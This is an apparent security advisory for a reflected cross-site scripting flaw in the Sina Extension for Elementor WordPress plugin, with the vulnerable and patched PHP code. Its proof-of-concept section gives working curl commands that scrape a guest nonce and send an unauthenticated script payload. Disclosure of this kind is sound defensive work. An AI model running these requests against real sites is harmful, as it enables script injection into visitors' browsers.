- Product
- Sina Extension for Elementor (WordPress plugin)
- Versions
- Before 3.10.2 · fixed in 3.10.2
- Severity
- MediumCVSS score 6.1 · WPScan
- CVE
- CVE-2026-14190, assigned by WPScan
- Found by
- Mustafa Ahmed, Fortress MSSP
- Published
- November 11, 2026CVE published by WPScan on July 27, 2026
Description
The Sina Extension for Elementor WordPress plugin before 3.10.2 does not escape a value reconstructed from request input in one of its unauthenticated AJAX handlers before reflecting it into the HTML response, allowing unauthenticated attackers to execute arbitrary JavaScript in the browser of anyone who triggers a crafted request.
From the CVE record · CWE-79 Cross-Site Scripting (XSS)
Technical analysis
Sina_Common_Data::button_html() outputs the button label $data[$prefix.'_text'] with printf('%s', ...), which writes the value into the HTML response without any escaping. The icon class values next to it go through esc_attr(), but the label does not, so any markup carried in that array element is rendered as live HTML.
public static function button_html( $data, $prefix = 'btn' ) {
if ( $data[$prefix.'_icon'] && $data[$prefix.'_icon_align'] == 'left' ): ?>
<i class="<?php echo esc_attr($data[$prefix.'_icon']); ?> sina-icon-left"></i>
<?php endif; ?>
<?php printf( '%s', $data[$prefix.'_text'] ); ?>
<?php if ( $data[$prefix.'_icon'] && $data[$prefix.'_icon_align'] == 'right' ): ?>
<i class="<?php echo esc_attr($data[$prefix.'_icon']); ?> sina-icon-right"></i>
<?php
endif;
}
3.10.2 replaces printf('%s', $data[$prefix.'_text']) with echo esc_html(...), so the label is HTML escaped before it is written.
public static function button_html( $data, $prefix = 'btn' ) {
if ( $data[$prefix.'_icon'] && $data[$prefix.'_icon_align'] == 'left' ): ?>
<i class="<?php echo esc_attr($data[$prefix.'_icon']); ?> sina-icon-left"></i>
<?php endif; ?>
<?php echo esc_html($data[$prefix.'_text'] ); ?>
<?php if ( $data[$prefix.'_icon'] && $data[$prefix.'_icon_align'] == 'right' ): ?>
<i class="<?php echo esc_attr($data[$prefix.'_icon']); ?> sina-icon-right"></i>
<?php
endif;
}
Fortress’s reading of the public source code at the versions shown.
Proof of concept
As published by WPScan in its advisory on July 6, 2026.
In the request, read_more_text must carry the payload's angle brackets as JSON unicode escapes (< for "less-than", > for "greater-than"); a literal "less-than" is stripped by sanitize_text_field (control test: 0 reflections), and json_decode() restores the escapes to real angle brackets at the sink.
Prerequisites: a public page rendering a Sina Blogpost (or Sina Posts) widget with at least one published post (the widget's normal use). That page emits the load-more nonce to every visitor, and for logged-out visitors the nonce is deterministic/identical.
1. Scrape the guest nonce from the public page:
NONCE=$(curl -s "https://victim.example/blog-grid/" | grep -o 'name="sina_load_more_posts[^"]*" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
2. Fire the reflected-XSS request (fully unauthenticated, no cookies):
curl -s "https://victim.example/wp-admin/admin-ajax.php" \
--data-urlencode "action=sina_load_more_posts" \
--data-urlencode "nonce=$NONCE" \
--data-urlencode 'posts_data={"post_type":"post","layout":"grid","read_more_text":"<svg onload=alert(document.domain)>","posts_num":5,"paged":1}'
json_decode() restores the escapes and the value is reflected unescaped inside the read-more link of each returned post, e.g.: a sina-read-more anchor whose text is the live <svg onload=alert(document.domain)> tag.Severity
WPScan rates it 6.1 (medium). CISA’s ADP scores it 6.1 (medium) in the CVE record.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NCISA ADP
Remediation
Update Sina Extension for Elementor to 3.10.2 or later.
Disclosure timeline
- CVE ID reserved by WPScan.
- Fix committed to the plugin repository (r3593147).
- Version 3.10.2 released.
- WPScan advisory published.
- CVE published by WPScan.
- Published on this site.
Credit
Found and reported by Mustafa Ahmed of Fortress MSSP. The CVE record credits Mustafa Ahmed as finder and WPScan as coordinator.
WPScan's advisory lists Mustafa Ahmed as original researcher and submitter.